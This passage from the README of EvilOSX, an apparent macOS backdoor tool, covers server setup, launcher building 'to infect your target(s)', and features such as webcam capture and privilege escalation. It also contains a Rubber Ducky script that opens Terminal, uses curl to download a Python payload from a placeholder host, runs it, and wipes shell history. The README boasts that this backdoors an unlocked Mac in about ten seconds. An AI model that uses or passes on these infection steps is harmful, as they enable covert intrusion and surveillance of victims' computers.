Take a desktop screenshot or picture using the webcam
Attempt to get root via local privilege escalation
How To Use
# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX
# Go into the repository
$ cd EvilOSX
# Install dependencies required by the server
$ sudo pip install -r requirements.txt
# Start the GUI
$ python start.py
# Lastly, run a built launcher on your target(s)
Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.
Advanced users
There's also a CLI for those who want to use this over SSH:
# Create a launcher to infect your target(s)
$ python start.py --builder
# Start the CLI
$ python start.py --cli --port 1337
# Lastly, run a built launcher on your target(s)
Screenshots
Motivation
This project was created to be used with my Rubber Ducky, here's the simple script:
REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
It takes about 10 seconds to backdoor any unlocked Mac, which is...... nice
Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here.
Aluminum Keyboard (ISO) is probably the one you are looking for.
Versioning
EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
Server and bot releases will be numbered with the follow format:
<major>.<minor>.<patch>
And constructed with the following guidelines:
Breaking backward compatibility (with older bots) bumps the major
New additions without breaking backward compatibility bumps the minor
